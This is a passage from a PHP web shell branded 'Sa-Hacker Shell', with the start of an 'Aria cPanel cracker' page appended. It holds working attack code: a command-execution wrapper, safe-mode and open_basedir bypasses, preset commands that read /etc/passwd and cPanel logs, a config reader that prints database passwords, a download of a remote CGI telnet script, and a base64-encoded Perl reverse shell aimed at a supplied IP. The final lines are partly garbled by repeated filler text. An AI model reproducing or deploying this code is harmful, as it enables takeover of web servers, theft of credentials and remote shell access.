  715. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  716. print "</td></tr></table>";
  717. print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";
  718. print "<tr><td width=50%><div align=left>";
  719. print $st.$c1."<div><b><center>Using imap() function</div>";
  720. print $ec.$c2.$sf."&nbsp;";
  721. input("text","rimap",$nscdir,75);
  722. input("hidden","scdir",$nscdir,0);print " ";
  723. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  724. print "</td><td height=20% width=50%><div align=right>";
  725. print $st.$c1."<div><b><center>Using id() function</div>";
  726. print $ec.$c2.$sf."&nbsp;";
  727. input("text","rid",$nscdir,75);
  728. input("hidden","scdir",$nscdir,0);print " ";
  729. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  730. print "</td></tr></table>";
  731. print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";
  732. print "<tr><td width=50%><div align=left>";
  733. print $st.$c1."<div><b><center>Using plugin() function</div>";
  734. print $ec.$c2.$sf."&nbsp;";
  735. input("text","plugin",$nscdir,75);
  736. input("hidden","scdir",$nscdir,0);print " ";
  737. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  738. print "</td><td height=20% width=50%><div align=right>";
  739. print $st.$c1."<div><b><center>Using symlink() function</div>";
  740. print $ec.$c2.$sf."&nbsp;";
  741. input("text","sym",$nscdir,75);
  742. input("hidden","scdir",$nscdir,0);print " ";
  743. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  744. print "</td></tr></table>";
  745. delm(": Unzend Config :");
  746. print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";
  747. print "<tr><td width=50%><div align=left>";
  748. print $st.$c1."<div><b><center>Connect To Functions Of Config</div>";
  749. print $ec.$c2.$sf."&nbsp;";
  750. input("text","func",$nscdir,75);
  751. input("hidden","scdir",$nscdir,0);print " ";
  752. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  753. print "</td></tr></table>";
  754. ?><?
  755. print "<br><table bgcolor=#191919 style=\"border:2px #dadada solid \" width=100% height=%>";
  756. print"<tr><td><font size=2 face=tahoma>";
  757. print"<center>Coder By GeNiUs HaCkEr <br>[ Team Hack15 :: Go to : <a target='_blank' href='http://www.Hack15.com'>Http://Hack15.com</a> ]";
  758. print"</font></td></tr></table>";
  759. ?>
  760. <PHP
  761.  
  762. }
  763.  
  764. //Vbulletin config decoder
  765. function edecode()
  766. {
  767. ?>    
  768. <?
  769. /*================*\
  770. || ############### ||
  771. || # H-T oM[3]Ga # ||
  772. || ############### ||
  773. \*================*/
  774. ?>
  775. <title>ionCube & Zend Decoder</title>
  776. <form name="form" action="?a=decode" method="post">
  777. <tr><td><input name="file" value="config.php" /></td></tr>
  778. <input type="submit" name="Connect" value="Decode" />
  779. <br>
  780. <?
  781. $a = $_GET['a'];
  782. if($a=='decode' && isset($_POST['file']))
  783. {
  784. $file = $_POST['file'];
  785. include $file;
  786. ?>
  787. <? echo $config['MasterServer']['servername']."\n"; ?><br>
  788. <? echo $config['Database']['dbname']."\n"; ?><br>
  789. <? echo $config['MasterServer']['username']."\n"; ?><br>
  790. <? echo $config['MasterServer']['password']."\n"; ?><br>
  791. <?
  792. }
  793. if ($a=='config')
  794. {
  795. }
  796. ?>
  797. <?PHP
  798.  
  799. }
  800.  
  801. //Php 4 Back
  802. function ephp4()
  803. {
  804.     @unlink('.htaccess');
  805. $H = fopen('.htaccess','w+');
  806. $Str = '<Files *.php>
  807.   ForceType application/x-httpd-php4
  808. </Files>';
  809. if(fwrite($H,$Str)){
  810. echo "[+] Evil File Created Succes ! \n";
  811. }
  812. fclose($H);
  813. break;
  814.  
  815. }
  816.  
  817. //Php 4.x Bypass
  818. function e444()
  819. {
  820.  
  821. ?>
  822. <?
  823. /*
  824. www.securitywall.org
  825. Safe Mode Command Execution Shell
  826. */
  827. function safeshell($komut)
  828. {
  829. ini_restore("safe_mode");
  830. ini_restore("open_basedir");
  831.  $res = '';
  832.  if (!empty($komut))
  833.  {
  834. if(function_exists('exec'))
  835. {
  836.  @exec($komut,$res);
  837.  $res = join("\n",$res);
  838. }
  839. elseif(function_exists('shell_exec'))
  840. {
  841.  $res = @shell_exec($komut);
  842. }
  843. elseif(function_exists('system'))
  844. {
  845.  @ob_start();
  846.  @system($komut);
  847.  $res = @ob_get_contents();
  848.  @ob_end_clean();
  849. }
  850. elseif(function_exists('passthru'))
  851. {
  852.  @ob_start();
  853.  @passthru($komut);
  854.  $res = @ob_get_contents();
  855.  @ob_end_clean();
  856. }
  857. elseif(@is_resource($f = @popen($komut,"r")))
  858. {
  859. $res = "";
  860. while(!@feof($f)) { $res .= @fread($f,1024); }
  861. @pclose($f);
  862. }
  863.  }
  864.  return $res;
  865. }
  866. echo "<b><font color=blue>Safe Mode Command Execution Bypass Exploit</font></b><br>";
  867. print_r('
  868. <pre>
  869. <form method="POST" action="">
  870. <b><font color=blue>Komut :</font></b><input name="baba" type="text"><input value="Calistir" type="submit">
  871. </form>
  872. <form method="POST" action="">
  873. <b><font color=blue>Hazir Komutlar :=) :</font><select size="1" name="liz0">
  874. <option value="cat /etc/passwd">/etc/passwd</option>
  875. <option value="netstat -an | grep -i listen">Tum Acikk Portalari Gor</option>
  876. <option value="cat /var/cpanel/accounting.log">/var/cpanel/accounting.log</option>
  877. <option value="cat /etc/syslog.conf">/etc/syslog.conf</option>
  878. <option value="cat /etc/hosts">/etc/hosts</option>
  879. <option value="cat /etc/named.conf">/etc/named.conf</option>
  880. <option value="cat /etc/httpd/conf/httpd.conf">/etc/httpd/conf/httpd.conf</option>
  881. <option value="ls -la /etc/virtual">ls -la /etc/virtual</option>
  882. <option value="ls -la /etc/vdomainaliases">ls -la /etc/vdomainaliases</option>
  883. <option value="ls -la /etc/v------s">ls -la /etc/v------s</option>
  884. <option value="find PATH -perm 777 -type d">Yzilabilir Dizinler</option>
  885. <option value="cat /etc/passwd | grep cpanel > 1;cat 1">p1</option>
  886. <option value="cut -d: -f 6 1 >2;cat 2">p2</option>
  887. </select> <input type="submit" value="Sonuc">
  888. </form>
  889. </pre>
  890. ');
  891. ini_restore("safe_mode");
  892. ini_restore("open_basedir");
  893. if($_POST[baba]!= "") { $liz0=safeshell($_POST[baba]); }
  894. if($_POST[liz0]!= "") { $liz0zim=safeshell($_POST[liz0]); }
  895. $uid=safeshell('id');
  896. $server=safeshell('uname -a');
  897. echo "<pre><h4>";
  898. echo "<b><font color=red>Bilgiler:</font></b>:$uid<br>";
  899. echo "<b><font color=red>Server</font></b>:$server<br>";
  900. echo "<b><font color=red>Komut Sonuclari:</font></b><br>";
  901. if($_POST["baba"]!= "") { echo $liz0; }
  902. if($_POST["liz0"]!= "") { echo $liz0zim; }
  903. echo "</h4></pre>";
  904. ?>
  905. <?php
  906. }
  907.  
  908.  
  909. //Perl cgi
  910. function ecgi()
  911. {
  912.  
  913. $kokdosya = ".htaccess";
  914.  
  915. $dosya_adi = "$kokdosya";
  916. $dosya = fopen ($dosya_adi , 'w') or die ("Dosya açilamadi!");
  917. $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  918.  
  919. AddType application/x-httpd-cgi .izocin
  920.  
  921. AddHandler cgi-script .izocin
  922. AddHandler cgi-script .izocin";    
  923. fwrite ( $dosya , $metin ) ;
  924. fclose ($dosya);
  925.  
  926. ?>
  927. <?php
  928.  
  929. $file = fopen("izo.izocin" ,"w+");
  930.  
  931. $sa=file_get_contents('http://www.rohitab.com/cgiscripts/cgitelnet.txt');
  932.  
  933. $write = fwrite ($file ,$sa);
  934.  
  935. fclose($file);
  936.  
  937. if ($write) {
  938.  
  939. echo "The File Was Created Successfuly.</br>";
  940.  
  941. }
  942. else {echo'"error"';}
  943.  
  944. $chm = chmod("izo.izocin" , 0755);
  945.  
  946. if ($chm == true){
  947.     echo "chmoded the file to 755";
  948. }else{
  949.     echo "sorry file didn't chmoded";
  950. }
  951. ?>
  952. <?php
  953. }
  954.  
  955. //ln -s bypass
  956. function elns()
  957. {
  958.  
  959. $kokdosya = ".htaccess";
  960.  
  961. $dosya_adi = "$kokdosya";
  962. $dosya = fopen ($dosya_adi , 'w') or die ("Dosya açilamadi!");
  963. $metin = "Options +FollowSymLinks
  964. DirectoryIndex klas???r ad???";    
  965. fwrite ( $dosya , $metin ) ;
  966. fclose ($dosya);
  967.  
  968. }
  969.  
  970. //Apachi Bypass
  971. function eapachi()
  972. {
  973.  
  974. $kokdosya = ".htaccess";
  975.  
  976. $dosya_adi = "$kokdosya";
  977. $dosya = fopen ($dosya_adi , 'w') or die ("Dosya açilamadi!");
  978. $metin = "AddType application/x-httpd-php4 .php";    
  979. fwrite ( $dosya , $metin ) ;
  980. fclose ($dosya);
  981.    
  982.  
  983. }
  984.  
  985.  
  986. //Working with MySQL
  987. function emysql()
  988. {
  989.     $cquery = $_POST['query'];
  990.     $querys = @explode(';',$cquery);
  991.     $dbhost = $_POST['dbhost']?$_POST['dbhost']:"localhost";
  992.     $dbport = $_POST['dbport']?$_POST['dbport']:"3306";
  993.     $dbuser = $_POST['dbuser'];
  994.     $dbpass = $_POST['dbpass'];
  995.     $dbname = $_POST['dbname'];
  996.     if ($cquery  == "") {
  997.         $cquery  = "-- SHOW DATABASES;\n-- SHOW TABLES FROM <database>;\n-- SHOW COLUMNS FROM <table>;";
  998.     }
  999.     echo '
  1000.    <center><h3> Working with MySQL </h3></center>
  1001.    <center>
  1002.    <form method="POST" action="">
  1003.    <input type="hidden" name="id" value="mysql">
  1004.    DBHost: <input type="text" size="8" name="dbhost" value="',$dbhost,'" class="input" />&nbsp;
  1005.    DBPort: <input type="text" size="5" name="dbport" value="',$dbport,'" class="input" />&nbsp;
  1006.    DBUser: <input type="text" size="10" name="dbuser" value="',$dbuser,'" class="input" />&nbsp;
  1007.    DBPass: <input type="text" size="10" name="dbpass" value="',$dbpass,'" class="input" />&nbsp;
  1008.    DBName: <input type="text" size="10" name="dbname" value="',$dbname,'" class="input" /><br><br>
  1009.    <textarea name ="query" rows="7" cols=90 class="textarea">',$cquery,'</textarea><br><br>
  1010.    <input type="submit" name="go" value="     Go     " class="button">
  1011.    </form>';
  1012.     if($_POST['go']) {
  1013.         $connect = @mysql_connect($dbhost.":".$dbport, $dbuser, $dbpass);
  1014.  
  1015.         if (!$connect)    { echo '<textarea rows=3 cols=80 class="textarea">Could not connect: ',mysql_error(),'</textarea>';    }
  1016.         else {
  1017.             @mysql_select_db($dbname, $connect);
  1018.             echo '<div style="overflow:auto; height:400px;width:1000px;">';
  1019.             foreach($querys as $num=>$query){
  1020.                 if(strlen($query)>5){
  1021.                     echo '<font face=Verdana size=-2 color=orange><b>Query#'.$num.' : '.htmlspecialchars($query).'</b></font><br>';
  1022.                     $res = @mysql_query($query,$connect);
  1023.                     $error = @mysql_error($connect);
  1024.                     if($error) { echo '<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>'.$error.'</b></font></td></tr></table><br>'; }
  1025.                     else {
  1026.                         if (@mysql_num_rows($res) > 0){
  1027.                             $sql2 = $sql = $keys = $values = '';
  1028.                             while (($row = @mysql_fetch_assoc($res))){
  1029.                                 $keys = @implode('&nbsp;</b></font></td><td bgcolor=blue><font color=white face=Verdana size=-2><b>&nbsp;', @array_keys($row));
  1030.                                 $values = @array_values($row);
  1031.                                 foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
  1032.                                 $values = @implode('&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;',$values);
  1033.                                 $sql2 .= '<tr><td><font face=Verdana size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>';
  1034.                             }
  1035.                             echo '<table width=100%>';
  1036.                             $sql  = '<tr><td bgcolor=blue><font face=Verdana color=white size=-2><b>&nbsp;'.$keys.'&nbsp;</b></font></td></tr>';
  1037.                             $sql .= $sql2;
  1038.                             echo $sql;
  1039.                             echo '</table><br>';
  1040.                         }
  1041.                         else { if(($rows = @mysql_affected_rows($connect))>=0) { echo '<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>'.$rows.'</b></font></td></tr></table><br>'; } }
  1042.                     }
  1043.                     @mysql_free_result($res);
  1044.                 }
  1045.             }
  1046.             echo '</div><br>';
  1047.             @mysql_close($connect);
  1048.         }
  1049.     }
  1050. }
  1051.  
  1052.  
  1053. //Back Connect
  1054. function eback()
  1055. {
  1056.     $bc_perl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZ---YWAiO2Vj
  1057. aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
  1058. hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
  1059. sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
  1060. kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
  1061. KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
  1062. OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
  1063.     echo '
  1064.    <p align="center"><font size="5"><b> Back Connecting </b></font></p>
  1065.    <p align="center"><font color="#DD8008">Run NetCat on your machine:</font><i><font color="#FF0000"> nc -l -p 1542</font></i>
  1066.    </p><br><hr><br><p align="center"><font color="#DD8008">Then input your IP and Port</font></p>
  1067.    <div align="center"><form method="POST" action="">
  1068.    <input type="text" name="pip" value="',$_SERVER['REMOTE_ADDR'],'" class="input" /> :
  1069.    <input type="text" name="pport" size="5" value="1542" class="input" /> <br><br>
  1070.    <input type="text" name="ppath" value="/tmp" class="input" /><br><br>
  1071.    <input type="submit" value=" Connect " class="button" />
  1072.    </form></div>';
  1073.     $pip=$_POST['pip'];        $pport=$_POST['pport'];
  1074.     if ($pip <> '') {
  1075.         $fp=fopen($_POST['ppath'].DS.rand(0,10).'bc_perl_enhack.pl', 'w');
  1076.         if (!$fp){
  1077.             $result = 'Error: couldn\'t write file to open socket connection';
  1078.         } else {
  1079.             @fputs($fp,@base64_decode($bc_perl));
  1080.             fclose($fp);
  1081.             $result = ex('perl '.$_POST['ppath'].'/bc_perl_enhack.pl '.$pip.' '.$pport.' &');
  1082.         }
  1083.     }
  1084. }
  1085.  
  1086.  
  1087. //File Edit
  1088. function fedit()
  1089. {
  1090.     $fedit=$_GET['fedit'];
  1091.     if(is_file($fedit)) {
  1092.         if ($fedit != "" ){
  1093.             $fedit=realpath($fedit);
  1094.             $lines = file($fedit);
  1095.             echo '
  1096.            <center><br><form action="" method="POST">
  1097.            <textarea name="savefile" rows="33" cols="100">' ;
  1098.  
  1099.             foreach ($lines as $line_num => $line) {
  1100.                 echo htmlspecialchars($line);
  1101.             }
  1102.             echo '
  1103.            </textarea><br><br>
  1104.            <input type="text" name="filepath"  size="60" value="',$fedit,'" class="input" />&nbsp;
  1105.            <input type="submit" value=" Save " class="button" /></form>';
  1106.             $savefile=stripslashes($_POST['savefile']);
  1107.             $filepath=realpath($_POST['filepath']);
  1108.             if ($savefile <> "") {
  1109.                 $fp=@fopen("$filepath","w+");
  1110.                 if($fp){
  1111.                     fwrite($fp,"") ;
  1112.                     fwrite($fp,$savefile) ;
  1113.                     fclose($fp);
  1114.                     echo '<script language="javascript"> alert("File Saved!")</script>';
  1115.                 } else {
  1116.                     echo '<script language="javascript"> alert("Save Failed!")</script>';
  1117.                 }
  1118.                 echo '<script language="javascript"> window.location = "http://'.$_SERVER['HTTP_HOST'].'/'.$_SERVER['REQUEST_URI'].'"</script>';
  1119.             }
  1120.             exit();
  1121.         }
  1122.     }
  1123.     else {
  1124.         echo '<u>',$fedit,'</u> is not file. <br />
  1125.        <a href="javascript:history.go(-1)"><-- back</a>
  1126.        ';
  1127.     }
  1128. }
  1129.  
  1130.  
  1131. // Execute
  1132. function ex($param) {
  1133.     $res = '';
  1134.     if (!empty($param)){
  1135.         if(function_exists('exec'))    {
  1136.             @exec($param,$res);
  1137.             $res = join("\n",$res);
  1138.         }
  1139.         elseif(function_exists('shell_exec'))    {
  1140.             $res = @shell_exec($param);
  1141.         }
  1142.         elseif(function_exists('system'))    {
  1143.             @ob_start();
  1144.             @system($param);
  1145.             $res = @ob_get_contents();
  1146.             @ob_end_clean();
  1147.         }
  1148.         elseif(function_exists('passthru'))    {
  1149.             @ob_start();
  1150.             @passthru($param);
  1151.             $res = @ob_get_contents();
  1152.             @ob_end_clean();
  1153.         }
  1154.         elseif(@is_resource($f = @popen($param,"r")))    {
  1155.             $res = "";
  1156.             while(!@feof($f)) { $res .= @fread($f,1024); }
  1157.             @pclose($f);
  1158.         }
  1159.     }
  1160.     return $res;
  1161. }
  1162.  
  1163. //Upload File
  1164. $rpath=@$_POST['Fupath'];
  1165. if ($rpath <> "") {
  1166.     $uploadfile = $rpath."/" . $_FILES['userfile']['name'];
  1167.     if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
  1168.         echo '<script language="javascript"> alert("\:D Upload successfully!")</script>';
  1169.     } else {
  1170.         echo '<script language="javascript"> alert("\:( Upload Failed!")</script>';
  1171.     }
  1172. }
  1173.  
  1174. //Delete file
  1175. $frpath=@$_GET['fdelete'];
  1176.  
  1177. function rmdirr($dirname)
  1178. {
  1179.     // Sanity check
  1180.     if (!file_exists($dirname)) {
  1181.         return false;
  1182.     }
  1183.  
  1184.     // Simple delete for a file
  1185.     if (is_file($dirname) || is_link($dirname)) {
  1186.         return unlink($dirname);
  1187.     }
  1188.  
  1189.     // Loop through the folder
  1190.     $dir = dir($dirname);
  1191.     while (false !== $entry = $dir->read()) {
  1192.         // Skip pointers
  1193.         if ($entry == '.' || $entry == '..') {
  1194.             continue;
  1195.         }
  1196.  
  1197.         // Recurse
  1198.         rmdirr($dirname . DIRECTORY_SEPARATOR . $entry);
  1199.     }
  1200.  
  1201.     // Clean up
  1202.     $dir->close();
  1203.     return rmdir($dirname);
  1204. }
  1205.  
  1206. if ($frpath <> "") {
  1207.     if(rmdirr($frpath)) {
  1208.         echo '<script language="javascript"> alert("Done! Press F5 to refresh")</script>';
  1209.     } else {
  1210.         echo '<script language="javascript"> alert("Fail! Press F5 to refresh")</script>';
  1211.     }
  1212.     echo '<script language="javascript"> history.back(2)</script>';
  1213.     exit(0);
  1214. }
  1215. ?>
  1216.  
  1217. <html>
  1218. <head>
  1219. <meta http-equiv="Content-Language" content="en-us">
  1220. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  1221. <title>:: Sa-Hacker Shell  ::</title>
  1222. <style>
  1223. <!--
  1224. body {
  1225.     font-family: Tahoma; font-size: 8pt; color:#00FF00;
  1226.     background-color:#000;
  1227. }
  1228. .td {
  1229.     font-size:80%;
  1230. }
  1231. a:link {
  1232.     text-decoration: none;
  1233.     color: #0080FF
  1234. }
  1235. a:visited {
  1236.     text-decoration: none;
  1237.     color: #0080FF
  1238. }
  1239. a:active {
  1240.     text-decoration: none;
  1241.     color: #0080FF
  1242. }
  1243. a:hover {
  1244.     text-decoration: underline overline;
  1245.     color: #FF0000
  1246. }
  1247.  
  1248. .input {
  1249.     border:  1px solid #0c9904 ;
  1250.     BACKGROUND-COLOR: #333333;
  1251.     font: 10pt tahoma;
  1252.     color: #ffffff;
  1253. }
  1254.  
  1255. .button {
  1256.     font-size: 13px;
  1257.     color:#0c9904;
  1258.     BACKGROUND-COLOR: #333333;
  1259.     border:  1px solid #0c9904;
  1260. }
  1261.  
  1262. .textarea {
  1263.     border:  1px solid #0c9904 ;
  1264.     BACKGROUND-COLOR: #333333;
  1265.     font: Fixedsys bold;
  1266.     color: #ffffff;
  1267. }
  1268.  
  1269. #phpinfo {
  1270.     width:80%;
  1271.     font-size:80%;
  1272.     padding-left10px;
  1273. }
  1274. #phpinfo table ,
  1275. #phpinfo td ,
  1276. #phpinfo tr {
  1277.     border:1px solid #9fe3a2;
  1278. }
  1279. #phpinfo pre {}
  1280. #phpinfo a:link {
  1281.     color:red;
  1282. }
  1283. #phpinfo a:hover {}
  1284. #phpinfo table {}
  1285. #phpinfo .center {}
  1286. #phpinfo .center table {}
  1287. #phpinfo .center th {}
  1288. #phpinfo td, th {}
  1289. #phpinfo h1 {
  1290.     font-size:120%;
  1291. }
  1292. #phpinfo h2 {
  1293.     text-decoration:underline;
  1294.     color:#75d584;
  1295. }
  1296. #phpinfo .p {
  1297.  font-size:90%;
  1298.  color:red;
  1299. }
  1300. #phpinfo .e {
  1301.     font-size:80%;
  1302. }
  1303. #phpinfo .h {
  1304. }
  1305. #phpinfo .v {
  1306.     font-size:75%;
  1307.     color:#3e9e25;
  1308. }
  1309. #phpinfo .vr {}
  1310. #phpinfo img {}
  1311. #phpinfo hr {}
  1312. -->
  1313. </style>
  1314. </head>
  1315.  
  1316. <body>
  1317. <?php
  1318. error_reporting(E_ERROR | E_WARNING | E_PARSE);
  1319.  
  1320.  
  1321. // Change mode
  1322. $fchmod=$_GET['fchmod'];
  1323. if ($fchmod <> "" ){
  1324.     $fchmod=realpath($fchmod);
  1325.     echo '<center><font size="3"><br>
  1326.    Chang mode ',$fchmod,'<br>
  1327.    <form method="POST" action=""><br>
  1328.    <br>
  1329.    <input type="text" name="mode" size="4" class="input" />&nbsp;
  1330.    <input type="submit" value="chmod" class="button" />
  1331.    </form><br>';
  1332.     $mode=$_POST['mode'];
  1333.     if ($mode != ""){
  1334.         if(chmod($fchmod , $mode)) {
  1335.             echo "Successfully";
  1336.         } else {
  1337.             echo "Permission denied";
  1338.         }
  1339.     }
  1340.     echo '</font>';
  1341.     exit();
  1342. }
  1343. ?>
  1344.  
  1345. <div align="center">
  1346.     <p align="center">
  1347.         <font face=Webdings size=10><b>!</b></font>
  1348.         <SPAN style="FONT-SIZE: 23pt; COLOR: #00CCFF; FONT-FAMILY: Impact">&nbsp;Sa-Hacker Shell&nbsp;</SPAN>
  1349.         <font face=Webdings size=10><b>!</b></font>
  1350.         <br/>
  1351.     </p>
  1352.     <table border="1" width="98%" style="border: 1px solid #0080FF" cellspacing="0" cellpadding="0" height="600">
  1353.         <tr>
  1354.             <td valign="top" rowspan="2">
  1355.                 <p align="center"><b>
  1356.    
  1357.                 </p>
  1358.                 <p align="center">=====[~]=====</p>
  1359.                 <p align="center"><b>
  1360.                 <font face="Tahoma" size="2" color="#0080FF">
  1361.                     <a href="">File Manager</a>
  1362.                 </font></b></p>
  1363.  
  1364.                 <p align="center"><b>
  1365.                 <font face="Tahoma" size="2" color="#0080FF">
  1366.                     <a href="">Web Command</a>
  1367.                 </font></b></p>
  1368.  
  1369.                 <p align="center"><b>
  1370.                 <font face="Tahoma" size="2" color="#0080FF">
  1371.                     <a href="">PHP Evaluator</a>
  1372.                 </font></b></p>
  1373.  
  1374.                 <p align="center"><b>
  1375.                 <font face="Tahoma" size="2" color="#0080FF">
  1376.                     <a href="">Php 5.2.9 Bypass</a>
  1377.                 </font></b></p>
  1378.  
  1379.                 <p align="center"><b>
  1380.                 <font face="Tahoma" size="2" color="#0080FF">
  1381.                     <a href="">Safe Modu Offla</a>
  1382.                 </font></b></p>
  1383.  
  1384.                 <p align="center"><b>
  1385.                 <font face="Tahoma" size="2" color="#0080FF">
  1386.                     <a href="">Openbasedir Bypass</a>
  1387.                 </font></b></p>
  1388.  
  1389.                 <p align="center"><b>
  1390.                 <font face="Tahoma" size="2" color="green">
  1391.                     <a href="">Vbulletin config decoder</a>
  1392.                 </font></b></p>
  1393.  
  1394.                 <p align="center"><b>
  1395.                 <font face="Tahoma" size="2" color="#0080FF">
  1396.                     <a href="">Php 4 Back</a>
  1397.                 </font></b></p>
  1398.  
  1399.                 <p align="center"><b>
  1400.                 <font face="Tahoma" size="2" color="#0080FF">
  1401.                     <a href="">Php 4.4.x Bypass</a>
  1402.                 </font></b></p>
  1403.  
  1404.                 <p align="center"><b>
  1405.                 <font face="Tahoma" size="2" color="#0080FF">
  1406.                     <a href="">Perl cgi</a>
  1407.                 </font></b></p>
  1408.  
  1409.                 <p align="center"><b>
  1410.                 <font face="Tahoma" size="2" color="#0080FF">
  1411.                     <a href="">ln -s bypass</a>
  1412.                 </font></b></p>
  1413.  
  1414.                 <p align="center"><b>
  1415.                 <font face="Tahoma" size="2" color="#0080FF">
  1416.                     <a href="">Apachi Bypass</a>
  1417.                 </font></b></p>
  1418.  
  1419.                 <p align="center"><b>
  1420.                 <font face="Tahoma" size="2" color="#0080FF">
  1421.                     <a href="">Nitrojen Bombasi</a>
  1422.                 </font></b></p>
  1423.  
  1424.                 <p align="center"><b>
  1425.                 <font face="Tahoma" size="2" color="#0080FF">
  1426.                     <a href="">Cpanel Brute</a>
  1427.                 </font></b></p>
  1428.  
  1429.                 <p align="center"><b>
  1430.                 <font face="Tahoma" size="2" color="#0080FF">
  1431.                     <a href="">Back Connect</a>
  1432.                 </font></b></p>
  1433.  
  1434.                 <p align="center"><b>
  1435.                 <font face="Tahoma" size="2" color="#0080FF">
  1436.                     <a href="">MySQL Query</a>
  1437.                 </font></b></p>
  1438.  
  1439.                 <p align="center"><b>
  1440.                 <font face="Tahoma" size="2" color="#0080FF">
  1441.                     <a href="">Server Infos</a>
  1442.                 </font></b></p>
  1443.  
  1444.                 <p align="center">=====[~]=====</p>
  1445.  
  1446.                 <p align="center"><b>
  1447.                 <font face="Tahoma" size="2" color="#0080FF">
  1448.  
  1449.                 </font></b></p>
  1450.             </td>
  1451.             <td valign="top" height="500" width="85%" style="border: 1px solid #0080FF" align="left">
  1452.             <?php
  1453.             // swich to function called base on id
  1454.             $cmdid = $_GET['id'];
  1455.             switch ($cmdid) {
  1456.                 // File Manager
  1457.                 case 'fm':
  1458.                     fileman ();
  1459.                     break;
  1460.                 // Command Line
  1461.                 case 'cmd':
  1462.                     wcom();
  1463.                     break;
  1464.                 // PHP Eval
  1465.                 case 'eval':
  1466.                     eeval();
  1467.                     break;
  1468.                 // Php 5.2.9 Bypass
  1469.                 case 'izo':
  1470.                     eizo();
  1471.                     break;
  1472.                 // Safe Modu Offla
  1473.                 case 'priv8':
  1474.                     epriv8();
  1475.                     break;
  1476.                 // Openbasedir Bypass
  1477.                 case 'obypass':
  1478.                     eobypass();
  1479.                     break;
  1480.                 // Vbulletin config decoder
  1481.                 case 'decode':
  1482.                     edecode();
  1483.                     break;                
  1484.                 // Php 4 Back
  1485.                 case 'php4':
  1486.                     ephp4();
  1487.                     break;
  1488.                 // Php 4.4.x Bypass
  1489.                 case '444':
  1490.                     e444();
  1491.                     break;
  1492.                 // Perl cgi
  1493.                 case 'cgi':
  1494.                     ecgi();
  1495.                     break;
  1496.                 // ln -s bypass
  1497.                 case 'lns':
  1498.                     elns();
  1499.                     break;
  1500.                 // Apachi Bypass
  1501.                 case 'apachi':
  1502.                     eapachi();
  1503.                     break;
  1504.                                 // Work with MySQL
  1505.                 case 'mysql':
  1506.                     emysql();
  1507.                     break;
  1508.                 // Back connect
  1509.                 case 'bcon':
  1510.                     eback();
  1511.                     break;
  1512.                 // File Edit
  1513.                 case 'fedit':
  1514.                     fedit();
  1515.                     break;
  1516.                 // Php Info
  1517.                 case 'info':
  1518.                     info();
  1519.                     break;
  1520.                 // Default
  1521.                 default: def();
  1522.             }
  1523.             //*******************************************************
  1524.  
  1525.             ?>
  1526.             </td>
  1527.         </tr>
  1528.         <tr>
  1529.             <td style="border: 1px solid #0080FF">
  1530.             <p align="center">
  1531.            
  1532.            
  1533.             <font color="#FF0000" size="2"><b>:::::::::::::::: [ Sa-Hacker Security Team</a> :: ] :::::::::::::::: </b></font>
  1534.            
  1535.             </p></td>
  1536.            
  1537.         </tr>
  1538.     </table>
  1539. </div>
  1540. </font>
  1541. </body>
  1542. </html>
  1543. <?php
  1544. $mode="cp";//????????????.
  1545. if($_REQUEST['panel']!=$mode)
  1546. {
  1547.    echo "<iframe src=cp width=100% height=100% frameborder=0></iframe> ";
  1548. exit;
  1549. }
  1550. ?>
  1551. <html>
  1552. <head>
  1553. <sakincali kodsakincali kodsakincali kodsakincali kod sakincali kodsakincali kodsakincali kodsakincali kodsakincali kodsakincali kodsakincali kodsakincali kodsakincali kodsakincali kod="Content-Language" content="en-us">
  1554. </head>
  1555. <title>Aria cPanel cracker version : 1.0</title>
  1556. <style>
  1557. body{margin:0px;font-style:normal;font-size:10px;color:#FFFFFF;font-family:Verdana,Arial;background-color:#3a3a3a;scrollbar-face-color: #303030;scrollbar-highlight-color: #5d5d5d;scrollbar-shadow-color: #121212;scrollbar-3dlight-color: #3a3a3a;scrollbar-arrow-color: #9d9d9d;scrollbar-track-color: #3a3a3a;scrollbar-darkshadow-color: #3a3a3a;}
  1558. input,
  1559. .kbrtm,select{background:#303030;color:#FFFFFF;font-family:Verdana,Arial;font-size:10px;vertical-align:middle; height:18; border-left:1px solid #5d5d5d; border-right:1px solid #121212; border-bottom:1px solid #121212; border-top:1px solid #5d5d5d;}
  1560. button{background-color: #666666; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}
